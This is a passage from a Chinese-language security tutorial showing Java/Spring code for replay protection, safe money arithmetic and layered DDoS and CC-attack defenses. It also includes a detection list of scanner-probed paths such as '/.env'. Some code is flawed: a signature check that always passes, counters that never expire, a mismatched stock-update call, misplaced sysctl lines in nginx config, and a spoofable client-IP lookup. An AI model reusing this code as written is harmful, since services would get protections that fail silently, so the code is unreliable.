// 3. 校验Nonce唯一性(防止重放)
String nonceKey = "nonce:" + nonce;
Boolean isNew = redisTemplate.opsForValue().setIfAbsent(
nonceKey, timestamp, NONCE_EXPIRY, TimeUnit.MILLISECONDS
);
if (!Boolean.TRUE.equals(isNew)) {
((HttpServletResponse) response).setStatus(HttpServletResponse.SC_CONFLICT);
return;
}
// 4. 校验签名(防篡改)
if (!verifySignature(httpRequest, signature)) {
((HttpServletResponse) response).setStatus(HttpServletResponse.SC_FORBIDDEN);
return;
}
chain.doFilter(request, response);
}
private boolean isRequiresValidation(String method) {
return "POST".equals(method) || "PUT".equals(method) || "DELETE".equals(method);
}
private boolean verifySignature(HttpServletRequest request, String signature) {
// 验证签名逻辑
// ...
return true;
}
}
方案三:金额安全处理
/**
* 金额安全处理工具类
*/
public class MoneyUtils {
// 使用BigDecimal进行金额计算
public static final BigDecimal ZERO = BigDecimal.ZERO;
public static final BigDecimal ONE_HUNDRED = new BigDecimal("100");
/**
* 安全的金额加法
*/
public static BigDecimal add(BigDecimal amount1, BigDecimal amount2) {
if (amount1 == null) amount1 = ZERO;
if (amount2 == null) amount2 = ZERO;
return amount1.add(amount2).setScale(2, RoundingMode.HALF_UP);
}
/**
* 安全的金额乘法
*/
public static BigDecimal multiply(BigDecimal amount, BigDecimal rate) {
if (amount == null || rate == null) return ZERO;
return amount.multiply(rate).setScale(2, RoundingMode.HALF_UP);
}
/**
* 校验金额合法性
*/
public static void validateAmount(BigDecimal amount) {
if (amount == null) {
throw new BusinessException("金额不能为空");
}
// 不能为负数
if (amount.compareTo(ZERO) < 0) {
throw new BusinessException("金额不能为负数");
}
// 不能超过最大值
BigDecimal maxAmount = new BigDecimal("99999999.99");
if (amount.compareTo(maxAmount) > 0) {
throw new BusinessException("金额超过最大限制");
}
// 最小单位校验(分)
if (amount.scale() > 2) {
throw new BusinessException("金额精度不能超过2位小数");
}
}
/**
* 元转分
*/
public static Long yuanToFen(BigDecimal yuan) {
return yuan.multiply(ONE_HUNDRED).longValueExact();
}
/**
* 分转元
*/
public static BigDecimal fenToYuan(Long fen) {
return new BigDecimal(fen).divide(ONE_HUNDRED, 2, RoundingMode.HALF_UP);
}
}
/**
* 订单服务 - 金额安全处理
*/
@Service
public class OrderService {
@Autowired
private OrderRepository orderRepository;
@Autowired
private RedissonClient redissonClient;
/**
* 创建订单(带乐观锁 + 分布式锁)
*/
@Transactional
public Order createOrder(CreateOrderRequest request) {
// 1. 校验金额
MoneyUtils.validateAmount(request.getAmount());
// 2. 获取商品信息(带分布式锁防止超卖)
String lockKey = "lock:product:" + request.getProductId();
RLock lock = redissonClient.getLock(lockKey);
try {
if (!lock.tryLock(5, 10, TimeUnit.SECONDS)) {
throw new BusinessException("系统繁忙,请稍后重试");
}
// 3. 查询商品并校验价格
Product product = productRepository.findById(request.getProductId())
.orElseThrow(() -> new NotFoundException("商品不存在"));
// 4. 校验前端传入的价格与后端一致
if (request.getAmount().compareTo(product.getPrice()) != 0) {
throw new BusinessException("价格不一致,请刷新后重试");
}
// 5. 检查库存
if (product.getStock() < request.getQuantity()) {
throw new BusinessException("库存不足");
}
// 6. 扣减库存(乐观锁)
int updated = productRepository.decreaseStock(
product.getId(), request.getQuantity()
);
if (updated == 0) {
throw new BusinessException("库存不足");
}
// 7. 创建订单
Order order = new Order();
order.setProductId(product.getId());
order.setAmount(MoneyUtils.multiply(product.getPrice(),
new BigDecimal(request.getQuantity())));
order.setStatus(OrderStatus.CREATED);
return orderRepository.save(order);
} finally {
if (lock.isHeldByCurrentThread()) {
lock.unlock();
}
}
}
}
// 乐观锁 - 库存扣减
@Modifying
@Query("UPDATE Product p SET p.stock = p.stock - :quantity, " +
"p.version = p.version + 1 " +
"WHERE p.id = :id AND p.stock >= :quantity AND p.version = :version")
int decreaseStock(@Param("id") Long id,
@Param("quantity") Integer quantity,
@Param("version") Integer version);
七、DDoS分布式拒绝服务攻击
7.1 漏洞原理
DDoS(Distributed Denial of Service)攻击是指攻击者通过控制大量僵尸主机(Botnet),向目标服务器发送海量请求,耗尽服务器资源(带宽、CPU、内存、连接数),导致正常用户无法访问服务。
7.2 DDoS攻击类型
| 攻击层级 | 攻击类型 | 攻击原理 | 危害等级 |
|---|---|---|---|
| 网络层(L3) | ICMP Flood | 大量Ping请求耗尽带宽 | ⭐⭐⭐ |
| 网络层(L3) | IP Fragment Flood | IP分片攻击消耗处理资源 | ⭐⭐⭐ |
| 传输层(L4) | SYN Flood | 半连接耗尽连接队列 | ⭐⭐⭐⭐ |
| 传输层(L4) | ACK Flood | 大量ACK包消耗处理资源 | ⭐⭐⭐ |
| 传输层(L4) | UDP Flood | UDP洪泛耗尽带宽 | ⭐⭐⭐⭐ |
| 传输层(L4) | TCP连接耗尽 | 大量空连接占用连接池 | ⭐⭐⭐⭐ |
| 应用层(L7) | HTTP Flood | 模拟正常HTTP请求 | ⭐⭐⭐⭐⭐ |
| 应用层(L7) | Slowloris | 慢速连接保持连接不释放 | ⭐⭐⭐⭐ |
| 应用层(L7) | CC攻击 | 针对特定接口的高频请求 | ⭐⭐⭐⭐⭐ |
| 应用层(L7) | HTTP/2 Rapid Reset | 利用HTTP/2协议漏洞 | ⭐⭐⭐⭐⭐ |
7.3 攻击特征识别
/**
* DDoS攻击特征识别模型
*/
@Data
public class AttackSignature {
// 网络层特征
public static class NetworkLayer {
// 单IP高频请求
private static final int HIGH_FREQUENCY_THRESHOLD = 100; // 每秒请求次数
// 相同源IP大量连接
private static final int CONNECTION_THRESHOLD = 50; // 并发连接数
// 异常包大小
private static final int MIN_PACKET_SIZE = 40;
private static final int MAX_PACKET_SIZE = 1500;
}
// 应用层特征
public static class ApplicationLayer {
// 相同User-Agent大量请求
private static final int SAME_UA_THRESHOLD = 1000;
// 异常请求路径(扫描行为)
private static final Set<String> SUSPICIOUS_PATHS = Set.of(
"/admin", "/wp-login", "/phpMyAdmin", "/.env"
);
// 请求间隔异常(机器行为)
private static final long MIN_REQUEST_INTERVAL = 100; // 毫秒
}
}
7.4 应用层DDoS防御
方案一:多层限流策略
/**
* 多层限流防御系统
*/
@Configuration
@EnableScheduling
public class DDoSProtectionConfig {
@Autowired
private RedisTemplate<String, String> redisTemplate;
/**
* 第一层:IP限流(基于滑动窗口)
*/
@Component
public class IpRateLimiter {
private static final int MAX_REQUESTS_PER_SECOND = 10;
private static final int MAX_REQUESTS_PER_MINUTE = 200;
private static final int MAX_REQUESTS_PER_HOUR = 2000;
public boolean isAllowed(String ip) {
long now = System.currentTimeMillis();
// 1秒窗口
String key1s = "rate:ip:" + ip + ":1s";
Long count1s = incrementCounter(key1s, 1);
if (count1s > MAX_REQUESTS_PER_SECOND) {
return false;
}
// 1分钟窗口
String key1m = "rate:ip:" + ip + ":1m";
Long count1m = incrementCounter(key1m, 60);
if (count1m > MAX_REQUESTS_PER_MINUTE) {
return false;
}
// 1小时窗口
String key1h = "rate:ip:" + ip + ":1h";
Long count1h = incrementCounter(key1h, 3600);
if (count1h > MAX_REQUESTS_PER_HOUR) {
return false;
}
return true;
}
private Long incrementCounter(String key, long windowSeconds) {
return redisTemplate.opsForValue().increment(key);
}
}
/**
* 第二层:接口限流(针对热点接口)
*/
@Component
public class ApiRateLimiter {
// 接口限流配置
private final Map<String, RateLimitConfig> apiConfigs = Map.of(
"/api/login", new RateLimitConfig(5, 60), // 登录:5次/分钟
"/api/register", new RateLimitConfig(3, 3600), // 注册:3次/小时
"/api/sms/send", new RateLimitConfig(1, 60), // 短信:1次/分钟
"/api/search", new RateLimitConfig(30, 60) // 搜索:30次/分钟
);
public boolean isAllowed(String ip, String api) {
RateLimitConfig config = apiConfigs.get(api);
if (config == null) {
return true; // 未配置限流的接口
}
String key = "rate:api:" + api + ":" + ip;
Long count = redisTemplate.opsForValue().increment(key);
if (count == 1) {
redisTemplate.expire(key, config.getWindowSeconds(), TimeUnit.SECONDS);
}
return count <= config.getMaxRequests();
}
@Data
@AllArgsConstructor
private static class RateLimitConfig {
private int maxRequests;
private long windowSeconds;
}
}
/**
* 第三层:全局限流(保护整体系统)
*/
@Component
public class GlobalRateLimiter {
private static final int GLOBAL_MAX_QPS = 10000; // 系统最大QPS
private static final int GLOBAL_MAX_CONNECTIONS = 50000; // 最大并发连接
private final AtomicLong currentQps = new AtomicLong(0);
private final AtomicInteger currentConnections = new AtomicInteger(0);
@Scheduled(fixedRate = 1000)
public void resetQpsCounter() {
currentQps.set(0);
}
public boolean isAllowed() {
// 检查QPS
if (currentQps.incrementAndGet() > GLOBAL_MAX_QPS) {
return false;
}
// 检查并发连接数
if (currentConnections.get() >= GLOBAL_MAX_CONNECTIONS) {
return false;
}
return true;
}
public void incrementConnections() {
currentConnections.incrementAndGet();
}
public void decrementConnections() {
currentConnections.decrementAndGet();
}
}
}
/**
* DDoS防护过滤器
*/
@Component
@WebFilter(urlPatterns = "/*", asyncSupported = true)
@Slf4j
public class DDoSProtectionFilter implements Filter {
@Autowired
private DDoSProtectionConfig.IpRateLimiter ipRateLimiter;
@Autowired
private DDoSProtectionConfig.ApiRateLimiter apiRateLimiter;
@Autowired
private DDoSProtectionConfig.GlobalRateLimiter globalRateLimiter;
@Autowired
private IpBlacklistService ipBlacklistService;
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
String clientIp = getClientIp(httpRequest);
String uri = httpRequest.getRequestURI();
// 0. 黑名单检查
if (ipBlacklistService.isBlacklisted(clientIp)) {
log.warn("Blocked request from blacklisted IP: {}", clientIp);
httpResponse.setStatus(HttpStatus.FORBIDDEN.value());
return;
}
// 1. 全局限流检查
if (!globalRateLimiter.isAllowed()) {
log.warn("Global rate limit exceeded");
httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
httpResponse.setHeader("Retry-After", "60");
return;
}
// 2. IP限流检查
if (!ipRateLimiter.isAllowed(clientIp)) {
log.warn("IP rate limit exceeded: {}", clientIp);
ipBlacklistService.tempBlacklist(clientIp, 300); // 临时封禁5分钟
httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
httpResponse.setHeader("Retry-After", "300");
return;
}
// 3. 接口限流检查
if (!apiRateLimiter.isAllowed(clientIp, uri)) {
log.warn("API rate limit exceeded: {} - {}", clientIp, uri);
httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
httpResponse.setHeader("Retry-After", "60");
return;
}
// 4. 增加连接计数
globalRateLimiter.incrementConnections();
try {
chain.doFilter(request, response);
} finally {
globalRateLimiter.decrementConnections();
}
}
private String getClientIp(HttpServletRequest request) {
String ip = request.getHeader("X-Forwarded-For");
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("X-Real-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
// 多个代理时取第一个
if (ip != null && ip.contains(",")) {
ip = ip.split(",")[0].trim();
}
return ip;
}
}
方案二:智能IP信誉系统
/**
* IP信誉评分系统
*/
@Service
@Slf4j
public class IpReputationService {
@Autowired
private RedisTemplate<String, String> redisTemplate;
// 信誉评分阈值
private static final int REPUTATION_THRESHOLD = 60; // 低于此分数视为可疑
private static final int BLACKLIST_THRESHOLD = 30; // 低于此分数直接封禁
// 评分规则
private static final int SCORE_HIGH_FREQUENCY = -20; // 高频请求扣分
private static final int SCORE_SUSPICIOUS_PATH = -10; // 访问可疑路径扣分
private static final int SCORE_INVALID_UA = -15; // 异常User-Agent扣分
private static final int SCORE_NORMAL_REQUEST = 1; // 正常请求加分
private static final int SCORE_CAPTCHA_SUCCESS = 20; // 验证码通过加分
/**
* 获取IP信誉评分
*/
public int getReputationScore(String ip) {
String key = "reputation:ip:" + ip;
String score = redisTemplate.opsForValue().get(key);
return score != null ? Integer.parseInt(score) : 100; // 默认100分
}
/**
* 更新IP信誉评分
*/
public void updateScore(String ip, int delta) {
String key = "reputation:ip:" + ip;
Long newScore = redisTemplate.opsForValue().increment(key, delta);
// 限制分数范围0-100
if (newScore != null) {
if (newScore > 100) {
redisTemplate.opsForValue().set(key, "100");
} else if (newScore < 0) {
redisTemplate.opsForValue().set(key, "0");
}
}
// 设置过期时间(7天后重置)
redisTemplate.expire(key, 7, TimeUnit.DAYS);
// 检查是否需要封禁
if (newScore != null && newScore <= BLACKLIST_THRESHOLD) {
blacklistIp(ip);
}
}
/**
* 检查IP是否可信
*/
public ReputationStatus checkReputation(String ip) {
int score = getReputationScore(ip);
if (score <= BLACKLIST_THRESHOLD) {
return ReputationStatus.BLACKLISTED;
} else if (score <= REPUTATION_THRESHOLD) {
return ReputationStatus.SUSPICIOUS;
} else {
return ReputationStatus.TRUSTED;
}
}
/**
* 封禁IP
*/
private void blacklistIp(String ip) {
String key = "blacklist:ip:" + ip;
redisTemplate.opsForValue().set(key, "auto", 24, TimeUnit.HOURS);
log.warn("IP auto-blacklisted due to low reputation: {}", ip);
}
/**
* 信誉状态枚举
*/
public enum ReputationStatus {
TRUSTED, // 可信
SUSPICIOUS, // 可疑(需要验证码)
BLACKLISTED // 已封禁
}
}
/**
* 基于信誉的防护过滤器
*/
@Component
public class ReputationBasedFilter implements Filter {
@Autowired
private IpReputationService reputationService;
@Autowired
private CaptchaService captchaService;
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
String clientIp = getClientIp(httpRequest);
// 检查IP信誉
IpReputationService.ReputationStatus status = reputationService.checkReputation(clientIp);
switch (status) {
case BLACKLISTED:
httpResponse.setStatus(HttpStatus.FORBIDDEN.value());
httpResponse.getWriter().write("Access denied");
return;
case SUSPICIOUS:
// 可疑IP需要验证码
if (!captchaService.verifyCaptcha(httpRequest)) {
httpResponse.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());
httpResponse.setContentType("application/json");
httpResponse.getWriter().write("{\"code\":\"CAPTCHA_REQUIRED\",\"message\":\"请完成验证码\"}");
return;
}
// 验证码通过,增加信誉分
reputationService.updateScore(clientIp, IpReputationService.SCORE_CAPTCHA_SUCCESS);
break;
case TRUSTED:
default:
// 正常请求,增加信誉分
reputationService.updateScore(clientIp, IpReputationService.SCORE_NORMAL_REQUEST);
break;
}
chain.doFilter(request, response);
}
}
方案三:Slowloris慢速攻击防御
/**
* Slowloris攻击防御配置
*/
@Configuration
public class SlowlorisProtectionConfig {
/**
* 嵌入式Tomcat配置
*/
@Bean
public EmbeddedServletContainerFactory servletContainer() {
TomcatEmbeddedServletContainerFactory factory = new TomcatEmbeddedServletContainerFactory();
factory.addConnectorCustomizers(connector -> {
// 设置连接超时
connector.setProperty("connectionTimeout", "10000"); // 10秒
// 设置最大连接数
connector.setProperty("maxConnections", "10000");
// 设置最大Keep-Alive请求数
connector.setProperty("maxKeepAliveRequests", "100");
// 设置Keep-Alive超时
connector.setProperty("keepAliveTimeout", "15000"); // 15秒
// 限制HTTP头大小
connector.setProperty("maxHttpHeaderSize", "8192");
// 限制POST大小
connector.setProperty("maxPostSize", "10485760"); // 10MB
});
// 配置线程池
factory.addContextCustomizers(context -> {
ProtocolHandler handler = ((StandardContext) context).getProtocolHandler();
if (handler instanceof Http11NioProtocol) {
Http11NioProtocol protocol = (Http11NioProtocol) handler;
// 最小空闲线程
protocol.setMinSpareThreads(25);
// 最大线程数
protocol.setMaxThreads(200);
// 接收器线程数
protocol.setAcceptorThreadCount(2);
}
});
return factory;
}
}
/**
* Nginx配置参考(Slowloris防御)
*/
/*
# nginx.conf
http {
# 限制请求体大小
client_max_body_size 10m;
# 限制请求头大小
large_client_header_buffers 4 8k;
# 超时设置
client_body_timeout 10s;
client_header_timeout 10s;
keepalive_timeout 15s;
send_timeout 10s;
# 限制并发连接
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 100;
# 限制请求速率
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
limit_req zone=one burst=20 nodelay;
# SYN Cookie
tcp_synack_retries 1;
tcp_max_syn_backlog 8192;
}
*/
方案四:HTTP/2 Rapid Reset防御
/**
* HTTP/2安全配置
*/
@Configuration
public class Http2SecurityConfig {
/**
* 配置HTTP/2安全参数
*/
@Bean
public WebServerFactoryCustomizer<TomcatServletWebServerFactory> http2Customizer() {
return factory -> {
factory.addConnectorCustomizers(connector -> {
ProtocolHandler handler = connector.getProtocolHandler();
if (handler instanceof Http2Protocol) {
Http2Protocol http2 = (Http2Protocol) handler;
// 限制最大并发流
http2.setMaxConcurrentStreams(100);
// 限制最大帧大小
http2.setMaxFrameSize(16384);
// 限制最大头列表大小
http2.setMaxHeaderListSize(8192);
// 设置初始窗口大小
http2.setInitialWindowSize(65535);
}
});
};
}
/**
* HTTP/2流控管理器
*/
@Component
public static class Http2StreamController {
@Autowired
private RedisTemplate<String, String> redisTemplate;
// 每个连接最大并发流
private static final int MAX_STREAMS_PER_CONNECTION = 100;
// 每秒最大新建流数
private static final int MAX_NEW_STREAMS_PER_SECOND = 50;
/**
* 检查是否允许新建流
*/
public boolean allowNewStream(String connectionId) {
// 检查并发流数量
String concurrentKey = "h2:streams:" + connectionId;
Long concurrent = redisTemplate.opsForValue().increment(concurrentKey);
if (concurrent != null && concurrent > MAX_STREAMS_PER_CONNECTION) {
redisTemplate.opsForValue().decrement(concurrentKey);
return false;
}
// 检查新建流速率
String rateKey = "h2:new_streams:" + connectionId;
Long rate = redisTemplate.opsForValue().increment(rateKey);
if (rate == 1) {
redisTemplate.expire(rateKey, 1, TimeUnit.SECONDS);
}
if (rate != null && rate > MAX_NEW_STREAMS_PER_SECOND) {
return false;
}
return true;
}
/**
* 流关闭时清理
*/
public void onStreamClosed(String connectionId) {
String key = "h2:streams:" + connectionId;
redisTemplate.opsForValue().decrement(key);
}
}
}
7.5 CC攻击防御
/**
* CC攻击防御服务
*/
@Service
@Slf4j
public class CcAttackDefenseService {
@Autowired
private RedisTemplate<String, String> redisTemplate;
@Autowired
private CaptchaService captchaService;
// CC攻击阈值
private static final int CC_THRESHOLD = 50; // 单IP单接口每分钟请求次数
private static final int CC_BLOCK_THRESHOLD = 100; // 触发封禁的阈值
// 热点接口监控
private static final Set<String> HOT_APIS = Set.of(
"/api/login",
"/api/register",
"/api/search",
"/api/product/list",
"/api/order/create"
);
/**
* 检测CC攻击
*/
public CcAttackResult detectCcAttack(String ip, String uri) {
// 只监控热点接口
if (!HOT_APIS.contains(uri)) {
return CcAttackResult.NORMAL;
}
String key = "cc:" + ip + ":" + uri;
String minuteKey = key + ":minute";
// 获取分钟请求次数
Long count = redisTemplate.opsForValue().increment(minuteKey);
if (count == 1) {
redisTemplate.expire(minuteKey, 1, TimeUnit.MINUTES);
}
// 检测攻击
if (count != null) {
if (count >= CC_BLOCK_THRESHOLD) {
log.warn("CC attack detected, blocking IP: {}, URI: {}, Count: {}",
ip, uri, count);
return CcAttackResult.BLOCK;
} else if (count >= CC_THRESHOLD) {
log.warn("Potential CC attack, requiring captcha: {}, URI: {}, Count: {}",
ip, uri, count);
return CcAttackResult.CAPTCHA;
}
}
return CcAttackResult.NORMAL;
}
/**
* 获取防御策略
*/
public DefenseAction getDefenseAction(String ip, String uri) {
CcAttackResult result = detectCcAttack(ip, uri);
switch (result) {
case BLOCK:
return new DefenseAction(DefenseAction.ActionType.BLOCK, "IP已被封禁");
case CAPTCHA:
return new DefenseAction(DefenseAction.ActionType.CAPTCHA, "请完成验证码");
case NORMAL:
default:
return new DefenseAction(DefenseAction.ActionType.ALLOW, null);
}
}
/**
* CC攻击检测结果
*/
public enum CcAttackResult {
NORMAL, // 正常
CAPTCHA, // 需要验证码
BLOCK // 封禁
}
/**
* 防御动作
*/
@Data
@AllArgsConstructor
public static class DefenseAction {
private ActionType type;
private String message;
public enum ActionType {
ALLOW, // 允许
CAPTCHA, // 需要验证码
BLOCK // 封禁
}
}
}
/**
* CC攻击防御拦截器
*/
@Component
public class CcAttackInterceptor implements HandlerInterceptor {
@Autowired
private CcAttackDefenseService ccDefenseService;
@Autowired
private IpBlacklistService blacklistService;
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
String ip = getClientIp(request);
String uri = request.getRequestURI();
// 获取防御动作
CcAttackDefenseService.DefenseAction action = ccDefenseService.getDefenseAction(ip, uri);
switch (action.getType()) {
case BLOCK:
// 临时封禁
blacklistService.tempBlacklist(ip, 1800); // 30分钟
response.setStatus(HttpStatus.FORBIDDEN.value());
response.getWriter().write("{\"code\":\"BLOCKED\",\"message\":\"" +
action.getMessage() + "\"}");
return false;
case CAPTCHA:
// 要求验证码
response.setStatus(429);
response.setContentType("application/json");
response.getWriter().write("{\"code\":\"CAPTCHA_REQUIRED\",\"message\":\"" +
action.getMessage() + "\"}");
return false;
case ALLOW:
default:
return true;
}
}
private String getClientIp(HttpServletRequest request) {
String ip = request.getHeader("X-Forwarded-For");
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getHeader("X-Real-IP");
}
if (ip == null || ip.isEmpty() || "unknown".equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
if (ip != null && ip.contains(",")) {
ip = ip.split(",")[0].trim();
}
return ip;
}
}
7.6 黑名单管理服务
/**
* IP黑名单管理服务
*/
@Service
@Slf4j
public class IpBlacklistService {
@Autowired
private RedisTemplate<String, String> redisTemplate;
@Autowired
private IpReputationService reputationService;
// 黑名单Key前缀
private static final String BLACKLIST_PREFIX = "blacklist:ip:";
private static final String WHITELIST_PREFIX = "whitelist:ip:";
/**
* 检查IP是否在黑名单
*/
public boolean isBlacklisted(String ip) {
// 白名单优先
if (isWhitelisted(ip)) {
return false;
}
String key = BLACKLIST_PREFIX + ip;
return Boolean.TRUE.equals(redisTemplate.hasKey(key));
}
/**
* 检查IP是否在白名单
*/
public boolean isWhitelisted(String ip) {
String key = WHITELIST_PREFIX + ip;
return Boolean.TRUE.equals(redisTemplate.hasKey(key));
}
/**
* 临时封禁IP
*/
public void tempBlacklist(String ip, long durationSeconds) {
String key = BLACKLIST_PREFIX + ip;
redisTemplate.opsForValue().set(key, "temp", durationSeconds, TimeUnit.SECONDS);
log.warn("IP temporarily blacklisted: {}, duration: {}s", ip, durationSeconds);
// 记录封禁日志
saveBlacklistLog(ip, "TEMP", durationSeconds);
}
/**
* 永久封禁IP
*/
public void permanentBlacklist(String ip, String reason) {
String key = BLACKLIST_PREFIX + ip;
redisTemplate.opsForValue().set(key, "permanent:" + reason);
log.warn("IP permanently blacklisted: {}, reason: {}", ip, reason);
// 记录封禁日志
saveBlacklistLog(ip, "PERMANENT", -1);
}
/**
* 解封IP
*/
public void unblacklist(String ip) {
String key = BLACKLIST_PREFIX + ip;
redisTemplate.delete(key);
log.info("IP unblacklisted: {}", ip);
}
/**
* 添加白名单
*/
public void addToWhitelist(String ip) {
String key = WHITELIST_PREFIX + ip;
redisTemplate.opsForValue().set(key, "whitelisted");
log.info("IP added to whitelist: {}", ip);
}
/**
* 获取所有黑名单IP
*/
public Set<String> getAllBlacklistedIps() {
Set<String> keys = redisTemplate.keys(BLACKLIST_PREFIX + "*");
if (keys == null) return Collections.emptySet();
return keys.stream()
.map(key -> key.replace(BLACKLIST_PREFIX, ""))
.collect(Collectors.toSet());
}
/**
* 保存封禁日志
*/
private void saveBlacklistLog(String ip, String type, long duration) {
BlacklistLog log = new BlacklistLog();
log.setIp(ip);
log.setType(type);
log.setDuration(duration);
log.setTimestamp(LocalDateTime.now());
log.setReputationScore(reputationService.getReputationScore(ip));
// 保存到数据库
blacklistLogRepository.save(log);
}
/**
* 批量导入黑名单
*/
@Transactional
public void importBlacklist(List<String> ips, String reason) {
for (String ip : ips) {
permanentBlacklist(ip, reason);
}
}
/**
* 定期清理过期黑名单
*/
@Scheduled(cron = "0 0 2 * * ?") // 每天凌晨2点执行
public void cleanupExpiredBlacklist() {
// Redis会自动清理过期的临时黑名单
log.info("Blacklist cleanup completed");
}
}
7.7 流量清洗与CDN防护
/**
* CDN/高防IP配置参考
*/
@Configuration
public class CdnProtectionConfig {
/**
* 配置可信代理
*/
@Bean
public RemoteIpFilter remoteIpFilter() {
RemoteIpFilter filter = new RemoteIpFilter();
// 设置CDN/高防IP的网段
filter.setInternalProxies("10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|" +
"192\\.168\\.\\d{1,3}\\.\\d{1,3}|" +
"172\\.(1[6-9]|2\\d|3[01])\\.\\d{1,3}\\.\\d{1,3}");
// CDN节点IP段(以阿里云CDN为例)
filter.setTrustedProxies("100\\.104\\.\\d{1,3}\\.\\d{1,3}|" +
"101\\.89\\.\\d{1,3}\\.\\d{1,3}");
// 设置真实IP头
filter.setRemoteIpHeader("X-Forwarded-For");
filter.setProtocolHeader("X-Forwarded-Proto");
return filter;
}
}
7.8 DDoS防护配置参考
# application-ddos-protection.yml
ddos:
protection:
# IP限流配置
ip-rate-limit:
enabled: true
qps: 10
daily: 10000
# 接口限流配置
api-rate-limit:
enabled: true
rules:
- path: /api/login
qps: 5
burst: 10
- path: /api/search
qps: 30
burst: 50
# 全局限流配置
global-rate-limit:
enabled: true
max-qps: 10000
max-connections: 50000
# IP信誉配置
reputation:
enabled: true
threshold: 60
blacklist-threshold: 30
# CC攻击防护
cc-defense:
enabled: true
threshold: 50
block-threshold: 100
# 黑名单配置
blacklist:
temp-duration: 300
cleanup-cron: "0 0 2 * * ?"
# Nginx配置参考
nginx:
config: |
# 限制请求速率
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
# 限制并发连接
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 100;
# 超时设置
client_body_timeout 10s;
client_header_timeout 10s;
keepalive_timeout 15s;
7.9 DDoS监控与告警
/**
* DDoS监控服务
*/
@Service
@Slf4j
public class DdosMonitorService {
@Autowired
private RedisTemplate<String, String> redisTemplate;
@Autowired
private AlertService alertService;
// 监控阈值
private static final long QPS_ALERT_THRESHOLD = 5000;
private static final long CONNECTION_ALERT_THRESHOLD = 30000;
private static final int BLACKLIST_ALERT_THRESHOLD = 100;
/**
* 定期监控指标
*/
@Scheduled(fixedRate = 5000) // 每5秒执行
public void monitorMetrics() {
// 监控QPS
monitorQps();
// 监控连接数
monitorConnections();
// 监控黑名单数量
monitorBlacklistSize();
// 监控异常流量
monitorAbnormalTraffic();
}
private void monitorQps() {
String key = "metrics:qps:current";
String value = redisTemplate.opsForValue().get(key);
long currentQps = value != null ? Long.parseLong(value) : 0;
if (currentQps > QPS_ALERT_THRESHOLD) {
alertService.sendAlert(
AlertLevel.HIGH,
"DDoS攻击预警",
String.format("当前QPS异常: %d (阈值: %d)", currentQps, QPS_ALERT_THRESHOLD)
);
}
}
private void monitorConnections() {
String key = "metrics:connections:current";
String value = redisTemplate.opsForValue().get(key);
long currentConnections = value != null ? Long.parseLong(value) : 0;
if (currentConnections > CONNECTION_ALERT_THRESHOLD) {
alertService.sendAlert(
AlertLevel.HIGH,
"连接数异常",
String.format("当前连接数异常: %d (阈值: %d)",
currentConnections, CONNECTION_ALERT_THRESHOLD)
);
}
}
private void monitorBlacklistSize() {
String key = "blacklist:ip:*";
Set<String> keys = redisTemplate.keys(key);
int blacklistSize = keys != null ? keys.size() : 0;
if (blacklistSize > BLACKLIST_ALERT_THRESHOLD) {
alertService.sendAlert(
AlertLevel.MEDIUM,
"黑名单数量异常",
String.format("当前黑名单IP数量: %d (阈值: %d)",
blacklistSize, BLACKLIST_ALERT_THRESHOLD)
);
}
}
private void monitorAbnormalTraffic() {
// 检查Top 10 IP的请求量
String topIpKey = "metrics:top_ips";
Map<Object, Object> topIps = redisTemplate.opsForHash().entries(topIpKey);
for (Map.Entry<Object, Object> entry : topIps.entrySet()) {
String ip = (String) entry.getKey();
long requestCount = Long.parseLong((String) entry.getValue());
// 单个IP请求量异常
if (requestCount > 1000) {
alertService.sendAlert(
AlertLevel.MEDIUM,
"IP请求量异常",
String.format("IP %s 请求量异常: %d次/分钟", ip, requestCount)
);
}
}
}
/**
* 获取监控面板数据
*/
public DdosDashboard getDashboard() {
DdosDashboard dashboard = new DdosDashboard();
dashboard.setCurrentQps(getCurrentQps());
dashboard.setCurrentConnections(getCurrentConnections());
dashboard.setBlacklistSize(getBlacklistSize());
dashboard.setTopIps(getTopIps(10));
dashboard.setAttackHistory(getRecentAttacks());
return dashboard;
}
private long getCurrentQps() {
String value = redisTemplate.opsForValue().get("metrics:qps:current");
return value != null ? Long.parseLong(value) : 0;
}
private long getCurrentConnections() {
String value = redisTemplate.opsForValue().get("metrics:connections:current");
return value != null ? Long.parseLong(value) : 0;
}
private int getBlacklistSize() {
Set<String> keys = redisTemplate.keys("blacklist:ip:*");
return keys != null ? keys.size() : 0;
}
private List<TopIpInfo> getTopIps(int limit) {
String key = "metrics:top_ips";
Map<Object, Object> entries = redisTemplate.opsForHash().entries(key);
return entries.entrySet().stream()
.sorted(Map.Entry.<Object, Object>comparingByValue().reversed())
.limit(limit)
.map(e -> new TopIpInfo((String) e.getKey(),
Long.parseLong((String) e.getValue())))
.collect(Collectors.toList());
}
private List<AttackEvent> getRecentAttacks() {
// 从数据库查询最近的攻击事件
return attackEventRepository.findTop10ByOrderByTimestampDesc();
}
@Data
public static class DdosDashboard {
private long currentQps;
private long currentConnections;
private int blacklistSize;
private List<TopIpInfo> topIps;
private List<AttackEvent> attackHistory;
}
@Data
@AllArgsConstructor
public static class TopIpInfo {
private String ip;
private long requestCount;
}
}
7.10 DDoS防护最佳实践
